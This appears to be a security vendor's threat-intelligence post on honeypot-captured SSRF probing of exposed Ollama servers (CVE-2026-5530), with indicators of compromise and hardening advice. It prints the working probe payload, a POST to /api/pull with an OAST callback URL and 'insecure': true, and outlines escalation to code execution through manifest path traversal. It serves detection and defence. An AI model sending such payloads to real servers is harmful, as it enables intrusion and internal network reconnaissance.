Ask an exposed Ollama server to "pull a model," and it will fetch whatever registry name you hand it. Hand it a URL instead of a model name, and it will happily reach out to that URL, even from inside your network. That's the gist of it.

Over three weeks in spring 2026, our honeypot sensors caught threat actors doing exactly this: testing Ollama's model-pull API for Server-Side Request Forgery (SSRF), and using out-of-band callbacks to check whether it worked. 

This isn’t the first time this type of activity has been spotted in the wild: earlier in 2026, GreyNoise reported an SSRF campaign abusing Ollama's model-pull functionality. We built on that work here, corroborating it with our own network and contributing additional associated IPs and insights to this reported campaign. 

Ollama: the model downloader as attack surface

Ollama is one of the most widely deployed self-hosted model servers. Its REST API listens on port 11434, and it has two main endpoints that handle model movement: 

1. /api/pull (download a model from a registry) 

2. /api/push (upload one from within the server)

Both accept a caller controlled name field that Ollama resolves as [scheme://]host[:port]/namespace/model:tag. 

The Pull endpoint: CVE-2026-5530

The /api/pull SSRF is tracked under CVE-2026-5530, affects Ollama up to 0.18.1 and there’s no vendor patch. Ollama ships with no authentication on port 11434, so in the real world it's reachable with no credentials. 

The payloads set the name to a URL and adds "insecure": true, which permits plain HTTP and disables TLS verification:

POST /api/pull

{"name": "http://<random>.oast.pro/rogue/<token>", "insecure": true}

Notably, the push endpoint (/api/push) has no dedicated SSRF CVE, however, we’ve also observed threat actors also probing it with identical payloads.

Design pattern exposure

There are 3 posture security misconfigurations that enable this attack surface: 

1. Ollama servers ship without any built-in authentication to their default port of 11434.

2. It's extremely common to misconfigure setting the bind Ollama host address to be internet-facing by configuring OLLAMA_HOST=0.0.0.0 (this is not the default though).

3. The Ollama model-pull design trusts the client-supplied model name, as reported in CVE-2026-5530.

Suspicious activity breakdown

1. Across our Ollama honeypot sensors, we captured a few dozen SSRF requests from 3 source IPs, against multiple Ollama instances and cloud providers, all between 2026-03-24 and 2026-04-11. 

2. Requests rotated through 21 different desktop-browser User-Agents, several malformed (a comma where a semicolon belongs), which is a signature of randomized values in an automated tool.

3. The three IP sources shared one attack playbook:

   1. The payloads were consistent across all requests, in having:
       {"name": "http://<random>.oast.<tld>/rogue/<token>", "insecure": true}.
      
      Note the use of rouge in the path, which could either indicate similar tooling used in the attack pipeline, or alternatively let an operator attribute a callback to a specific target or campaign.
      

   2. The hosts are OAST out-of-band domains, which are disposable callback infrastructure, spanning 21 unique subdomains and using 4 interactsh campaign tokens. 

   3. The use of the insecure: true flag reveals the actors set it so a plain-HTTP listener would be able receive the callback as well. 

This is textbook blind-SSRF confirmation: fire a request, watch whether the server phones home to a unique URL, and you know the target is vulnerable. The volume is low but deliberate, and reads as internet-wide probing of exposed Ollama, not targeting any specific host, and plausibly fragments of more than one campaign.

Assessment

The types of indicators seen in the reported activity are often associated with researchers and bug bounty hunters, looking for PoC using well-known out-of-bounds OAST callback domains,  often also chained with scanning tools. However, this in itself can only help estimate automated testing and not verified benign intent.

But when running the source IPs through VirusTotal, we understand more about who we’re dealing with. We can see participating IPs are already flagged as malicious (by multiple sources). Furthermore, one of the IPs (23.129.64.196) is also documented as a Tor relay exit node. The accumulation of these indicators suggests that this activity extends beyond typical bug bounty research, pointing instead to a reconnaissance campaign actively scouting for the vulnerability in exposed Ollama endpoints.

What to block

Abused endpoints

Watch out for POST requests to Ollama's model-management endpoints where the name field is a URL rather than a model identifier:

• /api/pull 

• /api/push 

Request body payloads

A URL in the name parameter, combined with "insecure": true shouldn’t occur in legitimate model pulls:

{"name": "http://<random-subdomain>.oast.<tld>/<token>", "insecure": true}

OAST callback domains

Configure egress filtering and alert on outbound traffic from any AI host to out-of-band testing infrastructure:

• *.oast.pro

• *.oast.site

• *.oast.me

IP addresses

• 2.57.122.70

• 185.225.234.184

• 23.129.64.196 (23.129.64.0/24 is also a widely documented Tor exit range)

Recommendations

There is no vendor patch, so defense relies on configuration and detection:

• Don't expose Ollama to the internet: bind to localhost or a private interface, put the server behind an authenticating reverse proxy or similar network boundary, and watch /api/pull (and /api/push) for unauthorized uses

• Detect & block the IOCs above: the OOB domains, the source IPs, and the use of insecure:true paired with a URL in the name parameter

• Implement egress filtering: deny outbound traffic from your AI deployments by default, and explicitly configure Ollama not to accept downloading any models from untrusted registries

• Validate all inputs and add rate limiting: treat the name parameter as untrusted data

Why it matters

CVE-2026-5530 is a server-side request forgery vulnerability in Ollama's model-pull endpoint, which allows unauthenticated users to force the server into issuing outbound requests to a destination of their choosing. 

What we’re seeing here is a recon campaign, not yet exploitation. The attackers are attempting to force Ollama instances to phone home, verifying they’re indeed affected by the vulnerability. Once validated, two main impacts are estimated to be potentially abused on such an endpoint (which, as noted earlier, requires no authentication by default, if the server is public):

1. Untrusted model delivery, escalating to remote code execution
   Because Ollama treats the attacker-supplied name as a registry source by default, the server can be directed to pull from an untrusted, attacker-controlled registry rather than a legitimate one, exposing the host to poisoned or otherwise malicious model content. 

   
   This is also the entry point for a more severe escalation (CVE-2024-37032, "Probllama"): when Ollama pulls from the registry, it parses the model's manifest, and the unvalidated digest field can be coerced into resolving outside the model-store directory, yielding an arbitrary file write/overwrite. Since Ollama is frequently run with elevated privileges or as root (notably in Docker images), that write can be escalated into code execution (for example, by overwriting /etc/ld.so.preload).
   

2. Internal reachability reconnaissance
   We estimate that because (a) the pull endpoint can fetch its manifest over plain HTTP with TLS verification disabled (insecure: true); and (b) the attacker receives the pull response directly from the underlying Go HTTP client with distinct connection errors (connection refused, timeout, TLS or manifest-parse failures), an attacker could potentially differentiate live hosts, open ports, and responsive services across restricted network segments that are reachable to the server (but not accessible to the attacker without it).  

As organizations rush forward with self-hosted model servers and agent frameworks online, they still often configure them with unauthenticated endpoints, on predictable ports, trusting client-supplied names, and with inherent weaknesses, such as out-of-bounds fetching features, which facilitates AI infrastructure being used as server-side weapons.

Related links

• https://labs.zenity.io/p/threat-actors-are-already-scanning-for-your-ai-deployments-and-middleware